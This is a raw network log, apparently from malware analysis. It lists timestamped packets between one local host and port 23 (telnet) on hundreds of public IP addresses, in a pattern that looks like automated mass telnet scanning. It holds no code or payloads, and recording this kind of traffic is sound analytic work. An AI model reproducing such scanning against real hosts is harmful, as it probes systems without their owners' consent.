Dec 3, 2024 21:47:19.307913065 CET	40955	23	192.168.2.13	148.242.225.133
Dec 3, 2024 21:47:19.307920933 CET	40955	23	192.168.2.13	197.93.199.211
Dec 3, 2024 21:47:19.307929039 CET	23	40955	119.205.148.19	192.168.2.13
Dec 3, 2024 21:47:19.307948112 CET	23	40955	65.234.154.245	192.168.2.13
Dec 3, 2024 21:47:19.307959080 CET	40955	23	192.168.2.13	119.205.148.19
Dec 3, 2024 21:47:19.307967901 CET	23	40955	130.57.14.179	192.168.2.13
Dec 3, 2024 21:47:19.307981014 CET	40955	23	192.168.2.13	65.234.154.245
Dec 3, 2024 21:47:19.307991982 CET	23	40955	111.195.28.163	192.168.2.13
Dec 3, 2024 21:47:19.308017015 CET	40955	23	192.168.2.13	130.57.14.179
Dec 3, 2024 21:47:19.308017015 CET	40955	23	192.168.2.13	111.195.28.163
Dec 3, 2024 21:47:19.308141947 CET	23	40955	43.190.228.223	192.168.2.13
Dec 3, 2024 21:47:19.308181047 CET	40955	23	192.168.2.13	43.190.228.223
Dec 3, 2024 21:47:19.308991909 CET	23	40955	218.192.238.185	192.168.2.13
Dec 3, 2024 21:47:19.309036970 CET	40955	23	192.168.2.13	218.192.238.185
Dec 3, 2024 21:47:19.309056997 CET	23	40955	112.215.107.124	192.168.2.13
Dec 3, 2024 21:47:19.309101105 CET	40955	23	192.168.2.13	112.215.107.124
Dec 3, 2024 21:47:19.309108019 CET	23	40955	194.73.227.139	192.168.2.13
Dec 3, 2024 21:47:19.309124947 CET	23	40955	34.167.92.242	192.168.2.13
Dec 3, 2024 21:47:19.309145927 CET	40955	23	192.168.2.13	194.73.227.139
Dec 3, 2024 21:47:19.309146881 CET	23	40955	71.169.235.132	192.168.2.13
Dec 3, 2024 21:47:19.309159040 CET	40955	23	192.168.2.13	34.167.92.242
Dec 3, 2024 21:47:19.309189081 CET	40955	23	192.168.2.13	71.169.235.132
Dec 3, 2024 21:47:19.309216022 CET	23	40955	203.206.223.200	192.168.2.13
Dec 3, 2024 21:47:19.309228897 CET	23	40955	93.43.14.108	192.168.2.13
Dec 3, 2024 21:47:19.309247971 CET	40955	23	192.168.2.13	203.206.223.200
Dec 3, 2024 21:47:19.309251070 CET	23	40955	150.209.160.213	192.168.2.13
Dec 3, 2024 21:47:19.309259892 CET	40955	23	192.168.2.13	93.43.14.108
Dec 3, 2024 21:47:19.309288025 CET	40955	23	192.168.2.13	150.209.160.213
Dec 3, 2024 21:47:19.309313059 CET	23	40955	37.109.226.72	192.168.2.13
Dec 3, 2024 21:47:19.309354067 CET	40955	23	192.168.2.13	37.109.226.72
Dec 3, 2024 21:47:19.309371948 CET	23	40955	197.84.56.131	192.168.2.13
Dec 3, 2024 21:47:19.309411049 CET	40955	23	192.168.2.13	197.84.56.131
Dec 3, 2024 21:47:19.309428930 CET	23	40955	18.241.213.54	192.168.2.13
Dec 3, 2024 21:47:19.309444904 CET	23	40955	72.155.201.170	192.168.2.13
Dec 3, 2024 21:47:19.309462070 CET	23	40955	93.14.2.76	192.168.2.13
Dec 3, 2024 21:47:19.309463024 CET	40955	23	192.168.2.13	18.241.213.54
Dec 3, 2024 21:47:19.309482098 CET	40955	23	192.168.2.13	72.155.201.170
Dec 3, 2024 21:47:19.309495926 CET	23	40955	209.155.1.242	192.168.2.13
Dec 3, 2024 21:47:19.309500933 CET	40955	23	192.168.2.13	93.14.2.76
Dec 3, 2024 21:47:19.309511900 CET	23	40955	38.55.82.186	192.168.2.13
Dec 3, 2024 21:47:19.309533119 CET	40955	23	192.168.2.13	209.155.1.242
Dec 3, 2024 21:47:19.309541941 CET	23	40955	158.26.166.2	192.168.2.13
Dec 3, 2024 21:47:19.309542894 CET	40955	23	192.168.2.13	38.55.82.186
Dec 3, 2024 21:47:19.309556961 CET	23	40955	176.77.225.58	192.168.2.13
Dec 3, 2024 21:47:19.309566975 CET	23	40955	167.216.54.230	192.168.2.13
Dec 3, 2024 21:47:19.309580088 CET	40955	23	192.168.2.13	158.26.166.2
Dec 3, 2024 21:47:19.309593916 CET	40955	23	192.168.2.13	176.77.225.58
Dec 3, 2024 21:47:19.309603930 CET	40955	23	192.168.2.13	167.216.54.230
Dec 3, 2024 21:47:19.309756041 CET	23	40955	35.121.123.208	192.168.2.13
Dec 3, 2024 21:47:19.309770107 CET	23	40955	110.186.228.69	192.168.2.13
Dec 3, 2024 21:47:19.309784889 CET	23	40955	109.158.106.69	192.168.2.13
Dec 3, 2024 21:47:19.309798956 CET	23	40955	218.161.83.195	192.168.2.13
Dec 3, 2024 21:47:19.309804916 CET	40955	23	192.168.2.13	110.186.228.69
Dec 3, 2024 21:47:19.309811115 CET	23	40955	141.203.68.38	192.168.2.13
Dec 3, 2024 21:47:19.309811115 CET	40955	23	192.168.2.13	35.121.123.208
Dec 3, 2024 21:47:19.309825897 CET	40955	23	192.168.2.13	109.158.106.69
Dec 3, 2024 21:47:19.309833050 CET	23	40955	167.5.101.248	192.168.2.13
Dec 3, 2024 21:47:19.309838057 CET	40955	23	192.168.2.13	218.161.83.195
Dec 3, 2024 21:47:19.309847116 CET	23	40955	37.6.2.46	192.168.2.13
Dec 3, 2024 21:47:19.309853077 CET	40955	23	192.168.2.13	141.203.68.38
Dec 3, 2024 21:47:19.309860945 CET	23	40955	99.239.199.87	192.168.2.13
Dec 3, 2024 21:47:19.309870958 CET	40955	23	192.168.2.13	167.5.101.248
Dec 3, 2024 21:47:19.309875965 CET	40955	23	192.168.2.13	37.6.2.46
Dec 3, 2024 21:47:19.309876919 CET	23	40955	182.185.120.124	192.168.2.13
Dec 3, 2024 21:47:19.309889078 CET	23	40955	197.178.162.42	192.168.2.13
Dec 3, 2024 21:47:19.309902906 CET	40955	23	192.168.2.13	99.239.199.87
Dec 3, 2024 21:47:19.309912920 CET	40955	23	192.168.2.13	182.185.120.124
Dec 3, 2024 21:47:19.309921980 CET	40955	23	192.168.2.13	197.178.162.42
Dec 3, 2024 21:47:19.310820103 CET	23	40955	195.111.41.57	192.168.2.13
Dec 3, 2024 21:47:19.310833931 CET	23	40955	54.32.156.47	192.168.2.13
Dec 3, 2024 21:47:19.310872078 CET	40955	23	192.168.2.13	195.111.41.57
Dec 3, 2024 21:47:19.310872078 CET	40955	23	192.168.2.13	54.32.156.47
Dec 3, 2024 21:47:19.310895920 CET	23	40955	76.168.245.46	192.168.2.13
Dec 3, 2024 21:47:19.310928106 CET	23	40955	43.40.41.243	192.168.2.13
Dec 3, 2024 21:47:19.310937881 CET	40955	23	192.168.2.13	76.168.245.46
Dec 3, 2024 21:47:19.310960054 CET	40955	23	192.168.2.13	43.40.41.243
Dec 3, 2024 21:47:19.310991049 CET	23	40955	130.225.75.77	192.168.2.13
Dec 3, 2024 21:47:19.311006069 CET	23	40955	139.60.238.17	192.168.2.13
Dec 3, 2024 21:47:19.311021090 CET	40955	23	192.168.2.13	130.225.75.77
Dec 3, 2024 21:47:19.311045885 CET	40955	23	192.168.2.13	139.60.238.17
Dec 3, 2024 21:47:19.311048985 CET	23	40955	164.145.13.181	192.168.2.13
Dec 3, 2024 21:47:19.311086893 CET	40955	23	192.168.2.13	164.145.13.181
Dec 3, 2024 21:47:19.311120987 CET	23	40955	49.148.36.233	192.168.2.13
Dec 3, 2024 21:47:19.311155081 CET	40955	23	192.168.2.13	49.148.36.233
Dec 3, 2024 21:47:19.311172009 CET	23	40955	153.108.143.149	192.168.2.13
Dec 3, 2024 21:47:19.311187029 CET	23	40955	138.49.65.63	192.168.2.13
Dec 3, 2024 21:47:19.311208010 CET	23	40955	53.251.25.245	192.168.2.13
Dec 3, 2024 21:47:19.311211109 CET	40955	23	192.168.2.13	153.108.143.149
Dec 3, 2024 21:47:19.311220884 CET	40955	23	192.168.2.13	138.49.65.63
Dec 3, 2024 21:47:19.311237097 CET	40955	23	192.168.2.13	53.251.25.245
Dec 3, 2024 21:47:19.311239958 CET	23	40955	4.160.24.205	192.168.2.13
Dec 3, 2024 21:47:19.311271906 CET	40955	23	192.168.2.13	4.160.24.205
Dec 3, 2024 21:47:19.311288118 CET	23	40955	195.1.72.250	192.168.2.13
Dec 3, 2024 21:47:19.311321974 CET	40955	23	192.168.2.13	195.1.72.250
Dec 3, 2024 21:47:19.311357021 CET	23	40955	140.65.244.28	192.168.2.13
Dec 3, 2024 21:47:19.311373949 CET	23	40955	85.146.213.124	192.168.2.13
Dec 3, 2024 21:47:19.311392069 CET	40955	23	192.168.2.13	140.65.244.28
Dec 3, 2024 21:47:19.311408997 CET	40955	23	192.168.2.13	85.146.213.124
Dec 3, 2024 21:47:19.311444044 CET	23	40955	165.231.147.36	192.168.2.13
Dec 3, 2024 21:47:19.311461926 CET	23	40955	189.104.201.208	192.168.2.13
Dec 3, 2024 21:47:19.311481953 CET	40955	23	192.168.2.13	165.231.147.36
Dec 3, 2024 21:47:19.311491013 CET	40955	23	192.168.2.13	189.104.201.208
Dec 3, 2024 21:47:19.311515093 CET	23	40955	158.205.52.195	192.168.2.13
Dec 3, 2024 21:47:19.311559916 CET	40955	23	192.168.2.13	158.205.52.195
Dec 3, 2024 21:47:19.311574936 CET	23	40955	85.65.50.220	192.168.2.13
Dec 3, 2024 21:47:19.311588049 CET	23	40955	158.51.152.45	192.168.2.13
Dec 3, 2024 21:47:19.311613083 CET	40955	23	192.168.2.13	158.51.152.45
Dec 3, 2024 21:47:19.311614037 CET	40955	23	192.168.2.13	85.65.50.220
Dec 3, 2024 21:47:19.311722994 CET	23	40955	195.246.69.37	192.168.2.13
Dec 3, 2024 21:47:19.311739922 CET	23	40955	110.226.2.89	192.168.2.13
Dec 3, 2024 21:47:19.311748981 CET	23	40955	88.94.208.201	192.168.2.13
Dec 3, 2024 21:47:19.311768055 CET	40955	23	192.168.2.13	195.246.69.37
Dec 3, 2024 21:47:19.311778069 CET	23	40955	102.121.84.168	192.168.2.13
Dec 3, 2024 21:47:19.311789989 CET	23	40955	115.19.79.59	192.168.2.13
Dec 3, 2024 21:47:19.311794043 CET	40955	23	192.168.2.13	110.226.2.89
Dec 3, 2024 21:47:19.311794043 CET	40955	23	192.168.2.13	88.94.208.201
Dec 3, 2024 21:47:19.311805964 CET	23	40955	23.241.186.129	192.168.2.13
Dec 3, 2024 21:47:19.311809063 CET	40955	23	192.168.2.13	102.121.84.168
Dec 3, 2024 21:47:19.311816931 CET	40955	23	192.168.2.13	115.19.79.59
Dec 3, 2024 21:47:19.311836958 CET	23	40955	8.7.11.207	192.168.2.13
Dec 3, 2024 21:47:19.311840057 CET	40955	23	192.168.2.13	23.241.186.129
Dec 3, 2024 21:47:19.311851978 CET	23	40955	51.223.20.155	192.168.2.13
Dec 3, 2024 21:47:19.311867952 CET	40955	23	192.168.2.13	8.7.11.207
Dec 3, 2024 21:47:19.311888933 CET	40955	23	192.168.2.13	51.223.20.155
Dec 3, 2024 21:47:19.312870026 CET	23	40955	162.174.191.238	192.168.2.13
Dec 3, 2024 21:47:19.312920094 CET	40955	23	192.168.2.13	162.174.191.238
Dec 3, 2024 21:47:19.312926054 CET	23	40955	74.29.47.55	192.168.2.13
Dec 3, 2024 21:47:19.312963009 CET	40955	23	192.168.2.13	74.29.47.55
Dec 3, 2024 21:47:19.312972069 CET	23	40955	206.79.190.206	192.168.2.13
Dec 3, 2024 21:47:19.312994003 CET	23	40955	48.219.32.211	192.168.2.13
Dec 3, 2024 21:47:19.313009024 CET	40955	23	192.168.2.13	206.79.190.206
Dec 3, 2024 21:47:19.313026905 CET	40955	23	192.168.2.13	48.219.32.211
Dec 3, 2024 21:47:19.313060999 CET	23	40955	102.74.192.120	192.168.2.13
Dec 3, 2024 21:47:19.313101053 CET	40955	23	192.168.2.13	102.74.192.120
Dec 3, 2024 21:47:19.313122034 CET	23	40955	44.26.17.184	192.168.2.13
Dec 3, 2024 21:47:19.313147068 CET	23	40955	51.14.141.99	192.168.2.13
Dec 3, 2024 21:47:19.313163996 CET	23	40955	166.200.40.8	192.168.2.13
Dec 3, 2024 21:47:19.313165903 CET	40955	23	192.168.2.13	44.26.17.184
Dec 3, 2024 21:47:19.313184023 CET	40955	23	192.168.2.13	51.14.141.99
Dec 3, 2024 21:47:19.313206911 CET	40955	23	192.168.2.13	166.200.40.8
Dec 3, 2024 21:47:19.313239098 CET	23	40955	184.66.126.61	192.168.2.13
Dec 3, 2024 21:47:19.313277960 CET	40955	23	192.168.2.13	184.66.126.61
Dec 3, 2024 21:47:19.313290119 CET	23	40955	58.102.111.141	192.168.2.13
Dec 3, 2024 21:47:19.313325882 CET	40955	23	192.168.2.13	58.102.111.141
Dec 3, 2024 21:47:19.313357115 CET	23	40955	25.197.245.56	192.168.2.13
Dec 3, 2024 21:47:19.313370943 CET	23	40955	141.174.237.106	192.168.2.13
Dec 3, 2024 21:47:19.313394070 CET	40955	23	192.168.2.13	25.197.245.56
Dec 3, 2024 21:47:19.313402891 CET	40955	23	192.168.2.13	141.174.237.106
Dec 3, 2024 21:47:19.313409090 CET	23	40955	42.40.64.52	192.168.2.13
Dec 3, 2024 21:47:19.313443899 CET	23	40955	167.152.255.231	192.168.2.13
Dec 3, 2024 21:47:19.313450098 CET	40955	23	192.168.2.13	42.40.64.52
Dec 3, 2024 21:47:19.313478947 CET	40955	23	192.168.2.13	167.152.255.231
Dec 3, 2024 21:47:19.313596964 CET	23	40955	71.181.108.113	192.168.2.13
Dec 3, 2024 21:47:19.313611984 CET	23	40955	147.127.83.237	192.168.2.13
Dec 3, 2024 21:47:19.313630104 CET	23	40955	130.146.222.207	192.168.2.13
Dec 3, 2024 21:47:19.313635111 CET	40955	23	192.168.2.13	71.181.108.113
Dec 3, 2024 21:47:19.313648939 CET	40955	23	192.168.2.13	147.127.83.237
Dec 3, 2024 21:47:19.313668966 CET	40955	23	192.168.2.13	130.146.222.207
Dec 3, 2024 21:47:19.313751936 CET	23	40955	69.49.165.152	192.168.2.13
Dec 3, 2024 21:47:19.313791037 CET	40955	23	192.168.2.13	69.49.165.152
Dec 3, 2024 21:47:19.313819885 CET	23	40955	23.93.188.94	192.168.2.13
Dec 3, 2024 21:47:19.313833952 CET	23	40955	179.116.1.89	192.168.2.13
Dec 3, 2024 21:47:19.313851118 CET	23	40955	174.203.227.93	192.168.2.13
Dec 3, 2024 21:47:19.313854933 CET	40955	23	192.168.2.13	23.93.188.94
Dec 3, 2024 21:47:19.313873053 CET	40955	23	192.168.2.13	179.116.1.89
Dec 3, 2024 21:47:19.313889027 CET	40955	23	192.168.2.13	174.203.227.93
Dec 3, 2024 21:47:19.313910007 CET	23	40955	212.174.197.160	192.168.2.13
Dec 3, 2024 21:47:19.313944101 CET	40955	23	192.168.2.13	212.174.197.160
Dec 3, 2024 21:47:19.313944101 CET	23	40955	106.189.10.235	192.168.2.13
Dec 3, 2024 21:47:19.313986063 CET	40955	23	192.168.2.13	106.189.10.235
Dec 3, 2024 21:47:19.314048052 CET	23	40955	139.9.221.132	192.168.2.13
Dec 3, 2024 21:47:19.314080954 CET	40955	23	192.168.2.13	139.9.221.132
Dec 3, 2024 21:47:19.314094067 CET	23	40955	82.27.102.56	192.168.2.13
Dec 3, 2024 21:47:19.314124107 CET	23	40955	218.8.200.220	192.168.2.13
Dec 3, 2024 21:47:19.314129114 CET	40955	23	192.168.2.13	82.27.102.56
Dec 3, 2024 21:47:19.314140081 CET	23	40955	140.95.178.248	192.168.2.13
Dec 3, 2024 21:47:19.314155102 CET	23	40955	188.15.233.202	192.168.2.13
Dec 3, 2024 21:47:19.314162016 CET	40955	23	192.168.2.13	218.8.200.220
Dec 3, 2024 21:47:19.314173937 CET	40955	23	192.168.2.13	140.95.178.248
Dec 3, 2024 21:47:19.314189911 CET	40955	23	192.168.2.13	188.15.233.202
Dec 3, 2024 21:47:19.315289974 CET	23	40955	204.212.160.149	192.168.2.13
Dec 3, 2024 21:47:19.315336943 CET	40955	23	192.168.2.13	204.212.160.149
Dec 3, 2024 21:47:19.315342903 CET	23	40955	85.204.161.227	192.168.2.13
Dec 3, 2024 21:47:19.315361977 CET	23	40955	155.57.216.221	192.168.2.13
Dec 3, 2024 21:47:19.315385103 CET	40955	23	192.168.2.13	85.204.161.227
Dec 3, 2024 21:47:19.315391064 CET	23	40955	92.190.69.210	192.168.2.13
Dec 3, 2024 21:47:19.315395117 CET	40955	23	192.168.2.13	155.57.216.221
Dec 3, 2024 21:47:19.315429926 CET	40955	23	192.168.2.13	92.190.69.210
Dec 3, 2024 21:47:19.315504074 CET	23	40955	82.65.85.115	192.168.2.13
Dec 3, 2024 21:47:19.315519094 CET	23	40955	189.64.88.138	192.168.2.13
Dec 3, 2024 21:47:19.315541029 CET	40955	23	192.168.2.13	82.65.85.115
Dec 3, 2024 21:47:19.315552950 CET	23	40955	124.180.90.187	192.168.2.13
Dec 3, 2024 21:47:19.315562010 CET	40955	23	192.168.2.13	189.64.88.138
Dec 3, 2024 21:47:19.315587997 CET	40955	23	192.168.2.13	124.180.90.187
Dec 3, 2024 21:47:19.315634012 CET	23	40955	19.189.228.64	192.168.2.13
Dec 3, 2024 21:47:19.315669060 CET	23	40955	137.86.243.139	192.168.2.13
Dec 3, 2024 21:47:19.315675020 CET	40955	23	192.168.2.13	19.189.228.64
Dec 3, 2024 21:47:19.315682888 CET	23	40955	105.95.161.108	192.168.2.13
Dec 3, 2024 21:47:19.315702915 CET	40955	23	192.168.2.13	137.86.243.139
Dec 3, 2024 21:47:19.315709114 CET	23	40955	47.205.105.191	192.168.2.13
Dec 3, 2024 21:47:19.315712929 CET	40955	23	192.168.2.13	105.95.161.108
Dec 3, 2024 21:47:19.315740108 CET	40955	23	192.168.2.13	47.205.105.191
Dec 3, 2024 21:47:19.315766096 CET	23	40955	138.16.221.180	192.168.2.13
Dec 3, 2024 21:47:19.315783024 CET	23	40955	92.226.10.193	192.168.2.13
Dec 3, 2024 21:47:19.315803051 CET	40955	23	192.168.2.13	138.16.221.180
Dec 3, 2024 21:47:19.315807104 CET	23	40955	137.109.103.162	192.168.2.13
Dec 3, 2024 21:47:19.315819979 CET	40955	23	192.168.2.13	92.226.10.193
Dec 3, 2024 21:47:19.315848112 CET	40955	23	192.168.2.13	137.109.103.162
Dec 3, 2024 21:47:19.315862894 CET	23	40955	149.235.61.200	192.168.2.13
Dec 3, 2024 21:47:19.315892935 CET	23	40955	53.141.42.63	192.168.2.13
Dec 3, 2024 21:47:19.315902948 CET	40955	23	192.168.2.13	149.235.61.200
Dec 3, 2024 21:47:19.315917015 CET	23	40955	191.147.107.75	192.168.2.13
Dec 3, 2024 21:47:19.315927029 CET	40955	23	192.168.2.13	53.141.42.63
Dec 3, 2024 21:47:19.315954924 CET	40955	23	192.168.2.13	191.147.107.75
Dec 3, 2024 21:47:19.316006899 CET	23	40955	51.45.53.93	192.168.2.13
Dec 3, 2024 21:47:19.316023111 CET	23	40955	151.183.8.85	192.168.2.13
Dec 3, 2024 21:47:19.316035032 CET	23	40955	120.28.241.131	192.168.2.13
Dec 3, 2024 21:47:19.316045046 CET	40955	23	192.168.2.13	51.45.53.93
Dec 3, 2024 21:47:19.316055059 CET	40955	23	192.168.2.13	151.183.8.85
Dec 3, 2024 21:47:19.316060066 CET	23	40955	157.244.120.196	192.168.2.13
Dec 3, 2024 21:47:19.316068888 CET	40955	23	192.168.2.13	120.28.241.131
Dec 3, 2024 21:47:19.316095114 CET	40955	23	192.168.2.13	157.244.120.196
Dec 3, 2024 21:47:19.316124916 CET	23	40955	9.15.87.219	192.168.2.13
Dec 3, 2024 21:47:19.316169977 CET	40955	23	192.168.2.13	9.15.87.219
Dec 3, 2024 21:47:19.316183090 CET	23	40955	48.161.156.0	192.168.2.13
Dec 3, 2024 21:47:19.316217899 CET	40955	23	192.168.2.13	48.161.156.0
Dec 3, 2024 21:47:19.316222906 CET	23	40955	120.181.138.126	192.168.2.13
Dec 3, 2024 21:47:19.316241026 CET	23	40955	41.122.14.125	192.168.2.13
Dec 3, 2024 21:47:19.316261053 CET	40955	23	192.168.2.13	120.181.138.126
Dec 3, 2024 21:47:19.316266060 CET	23	40955	147.99.152.86	192.168.2.13
Dec 3, 2024 21:47:19.316272974 CET	40955	23	192.168.2.13	41.122.14.125
Dec 3, 2024 21:47:19.316299915 CET	40955	23	192.168.2.13	147.99.152.86
Dec 3, 2024 21:47:19.316315889 CET	23	40955	2.249.181.208	192.168.2.13
Dec 3, 2024 21:47:19.316365957 CET	23	40955	210.70.254.225	192.168.2.13
Dec 3, 2024 21:47:19.316395998 CET	40955	23	192.168.2.13	2.249.181.208
Dec 3, 2024 21:47:19.316402912 CET	40955	23	192.168.2.13	210.70.254.225
Dec 3, 2024 21:47:19.316610098 CET	23	40955	109.209.238.96	192.168.2.13
Dec 3, 2024 21:47:19.316654921 CET	23	40955	176.232.99.171	192.168.2.13
Dec 3, 2024 21:47:19.316668034 CET	40955	23	192.168.2.13	109.209.238.96
Dec 3, 2024 21:47:19.316672087 CET	23	40955	204.214.207.121	192.168.2.13
Dec 3, 2024 21:47:19.316694021 CET	40955	23	192.168.2.13	176.232.99.171
Dec 3, 2024 21:47:19.316694021 CET	40955	23	192.168.2.13	204.214.207.121
Dec 3, 2024 21:47:19.316723108 CET	23	40955	153.242.109.200	192.168.2.13
Dec 3, 2024 21:47:19.316761971 CET	40955	23	192.168.2.13	153.242.109.200
Dec 3, 2024 21:47:19.407603025 CET	23	40955	76.225.11.96	192.168.2.13
Dec 3, 2024 21:47:19.407634974 CET	23	40955	162.151.117.121	192.168.2.13
Dec 3, 2024 21:47:19.407649040 CET	23	40955	146.46.12.18	192.168.2.13
Dec 3, 2024 21:47:19.407665014 CET	23	40955	42.148.30.136	192.168.2.13
Dec 3, 2024 21:47:19.407696009 CET	23	40955	121.63.73.183	192.168.2.13
Dec 3, 2024 21:47:19.407697916 CET	40955	23	192.168.2.13	76.225.11.96
Dec 3, 2024 21:47:19.407699108 CET	40955	23	192.168.2.13	162.151.117.121
Dec 3, 2024 21:47:19.407711029 CET	23	40955	187.93.165.154	192.168.2.13
Dec 3, 2024 21:47:19.407725096 CET	23	40955	185.2.206.10	192.168.2.13
Dec 3, 2024 21:47:19.407733917 CET	40955	23	192.168.2.13	146.46.12.18
Dec 3, 2024 21:47:19.407737017 CET	40955	23	192.168.2.13	121.63.73.183
Dec 3, 2024 21:47:19.407743931 CET	23	40955	108.182.250.139	192.168.2.13
Dec 3, 2024 21:47:19.407743931 CET	40955	23	192.168.2.13	187.93.165.154
Dec 3, 2024 21:47:19.407746077 CET	40955	23	192.168.2.13	42.148.30.136
Dec 3, 2024 21:47:19.407746077 CET	40955	23	192.168.2.13	185.2.206.10
Dec 3, 2024 21:47:19.407758951 CET	23	40955	219.4.107.118	192.168.2.13
Dec 3, 2024 21:47:19.407788038 CET	40955	23	192.168.2.13	108.182.250.139
Dec 3, 2024 21:47:19.407825947 CET	40955	23	192.168.2.13	219.4.107.118
Dec 3, 2024 21:47:19.407826900 CET	23	40955	213.235.118.217	192.168.2.13
Dec 3, 2024 21:47:19.407841921 CET	23	40955	156.33.209.219	192.168.2.13
Dec 3, 2024 21:47:19.407859087 CET	23	40955	206.119.114.11	192.168.2.13
Dec 3, 2024 21:47:19.407865047 CET	40955	23	192.168.2.13	213.235.118.217
Dec 3, 2024 21:47:19.407883883 CET	23	40955	108.98.94.57	192.168.2.13
Dec 3, 2024 21:47:19.407883883 CET	40955	23	192.168.2.13	156.33.209.219
Dec 3, 2024 21:47:19.407892942 CET	40955	23	192.168.2.13	206.119.114.11
Dec 3, 2024 21:47:19.407896042 CET	23	40955	128.225.98.86	192.168.2.13
Dec 3, 2024 21:47:19.407923937 CET	40955	23	192.168.2.13	108.98.94.57
Dec 3, 2024 21:47:19.407933950 CET	40955	23	192.168.2.13	128.225.98.86
Dec 3, 2024 21:47:19.407939911 CET	23	40955	172.196.124.124	192.168.2.13
Dec 3, 2024 21:47:19.407957077 CET	23	40955	165.126.236.140	192.168.2.13
Dec 3, 2024 21:47:19.407977104 CET	40955	23	192.168.2.13	172.196.124.124
Dec 3, 2024 21:47:19.407982111 CET	23	40955	136.183.30.10	192.168.2.13
Dec 3, 2024 21:47:19.407996893 CET	23	40955	220.51.60.178	192.168.2.13
Dec 3, 2024 21:47:19.407996893 CET	40955	23	192.168.2.13	165.126.236.140
Dec 3, 2024 21:47:19.408014059 CET	23	40955	17.238.152.143	192.168.2.13
Dec 3, 2024 21:47:19.408020020 CET	40955	23	192.168.2.13	136.183.30.10
Dec 3, 2024 21:47:19.408032894 CET	23	40955	103.239.170.87	192.168.2.13
Dec 3, 2024 21:47:19.408044100 CET	40955	23	192.168.2.13	220.51.60.178
Dec 3, 2024 21:47:19.408056974 CET	40955	23	192.168.2.13	17.238.152.143
Dec 3, 2024 21:47:19.408071041 CET	40955	23	192.168.2.13	103.239.170.87
Dec 3, 2024 21:47:19.408072948 CET	23	40955	75.33.82.143	192.168.2.13
Dec 3, 2024 21:47:19.408088923 CET	23	40955	106.217.210.195	192.168.2.13
Dec 3, 2024 21:47:19.408103943 CET	23	40955	197.245.65.214	192.168.2.13
Dec 3, 2024 21:47:19.408107996 CET	40955	23	192.168.2.13	75.33.82.143
Dec 3, 2024 21:47:19.408118963 CET	23	40955	48.57.204.108	192.168.2.13
Dec 3, 2024 21:47:19.408122063 CET	40955	23	192.168.2.13	106.217.210.195
Dec 3, 2024 21:47:19.408133984 CET	23	40955	104.65.112.168	192.168.2.13
Dec 3, 2024 21:47:19.408135891 CET	40955	23	192.168.2.13	197.245.65.214
Dec 3, 2024 21:47:19.408149004 CET	40955	23	192.168.2.13	48.57.204.108
Dec 3, 2024 21:47:19.408150911 CET	23	40955	14.254.230.106	192.168.2.13
Dec 3, 2024 21:47:19.408170938 CET	23	40955	41.169.217.37	192.168.2.13
Dec 3, 2024 21:47:19.408185005 CET	40955	23	192.168.2.13	14.254.230.106
Dec 3, 2024 21:47:19.408200979 CET	23	40955	89.254.186.132	192.168.2.13
Dec 3, 2024 21:47:19.408210993 CET	40955	23	192.168.2.13	41.169.217.37
Dec 3, 2024 21:47:19.408216953 CET	40955	23	192.168.2.13	104.65.112.168
Dec 3, 2024 21:47:19.408240080 CET	40955	23	192.168.2.13	89.254.186.132
Dec 3, 2024 21:47:19.408967018 CET	23	40955	209.77.122.158	192.168.2.13
Dec 3, 2024 21:47:19.408979893 CET	23	40955	115.72.192.170	192.168.2.13
Dec 3, 2024 21:47:19.408998013 CET	23	40955	179.120.173.154	192.168.2.13
Dec 3, 2024 21:47:19.409003019 CET	40955	23	192.168.2.13	209.77.122.158
Dec 3, 2024 21:47:19.409017086 CET	40955	23	192.168.2.13	115.72.192.170
Dec 3, 2024 21:47:19.409040928 CET	23	40955	109.18.255.159	192.168.2.13
Dec 3, 2024 21:47:19.409058094 CET	23	40955	13.213.67.21	192.168.2.13
Dec 3, 2024 21:47:19.409063101 CET	40955	23	192.168.2.13	179.120.173.154
Dec 3, 2024 21:47:19.409071922 CET	40955	23	192.168.2.13	109.18.255.159
Dec 3, 2024 21:47:19.409096956 CET	23	40955	191.22.203.40	192.168.2.13
Dec 3, 2024 21:47:19.409105062 CET	40955	23	192.168.2.13	13.213.67.21
Dec 3, 2024 21:47:19.409113884 CET	23	40955	166.54.50.218	192.168.2.13
Dec 3, 2024 21:47:19.409130096 CET	40955	23	192.168.2.13	191.22.203.40
Dec 3, 2024 21:47:19.409141064 CET	23	40955	95.169.184.167	192.168.2.13
Dec 3, 2024 21:47:19.409156084 CET	23	40955	89.65.222.192	192.168.2.13
Dec 3, 2024 21:47:19.409156084 CET	40955	23	192.168.2.13	166.54.50.218
Dec 3, 2024 21:47:19.409179926 CET	40955	23	192.168.2.13	95.169.184.167
Dec 3, 2024 21:47:19.409188032 CET	40955	23	192.168.2.13	89.65.222.192
Dec 3, 2024 21:47:19.409195900 CET	23	40955	139.100.249.138	192.168.2.13
Dec 3, 2024 21:47:19.409209013 CET	23	40955	148.216.198.245	192.168.2.13
Dec 3, 2024 21:47:19.409223080 CET	23	40955	135.88.79.209	192.168.2.13
Dec 3, 2024 21:47:19.409243107 CET	40955	23	192.168.2.13	148.216.198.245
Dec 3, 2024 21:47:19.409245968 CET	40955	23	192.168.2.13	135.88.79.209
Dec 3, 2024 21:47:19.409248114 CET	40955	23	192.168.2.13	139.100.249.138
Dec 3, 2024 21:47:19.409248114 CET	23	40955	60.255.230.174	192.168.2.13
Dec 3, 2024 21:47:19.409264088 CET	23	40955	97.252.229.124	192.168.2.13
Dec 3, 2024 21:47:19.409275055 CET	23	40955	219.242.81.26	192.168.2.13
Dec 3, 2024 21:47:19.409288883 CET	40955	23	192.168.2.13	60.255.230.174
Dec 3, 2024 21:47:19.409295082 CET	40955	23	192.168.2.13	97.252.229.124
Dec 3, 2024 21:47:19.409305096 CET	23	40955	220.23.90.2	192.168.2.13
Dec 3, 2024 21:47:19.409311056 CET	40955	23	192.168.2.13	219.242.81.26
Dec 3, 2024 21:47:19.409323931 CET	23	40955	109.0.96.50	192.168.2.13
Dec 3, 2024 21:47:19.409342051 CET	40955	23	192.168.2.13	220.23.90.2
Dec 3, 2024 21:47:19.409353018 CET	23	40955	175.214.20.206	192.168.2.13
Dec 3, 2024 21:47:19.409353971 CET	40955	23	192.168.2.13	109.0.96.50
Dec 3, 2024 21:47:19.409394026 CET	23	40955	134.148.57.172	192.168.2.13
Dec 3, 2024 21:47:19.409401894 CET	40955	23	192.168.2.13	175.214.20.206
Dec 3, 2024 21:47:19.409410954 CET	23	40955	100.209.93.174	192.168.2.13
Dec 3, 2024 21:47:19.409420013 CET	23	40955	169.48.39.41	192.168.2.13
Dec 3, 2024 21:47:19.409434080 CET	23	40955	174.5.112.20	192.168.2.13
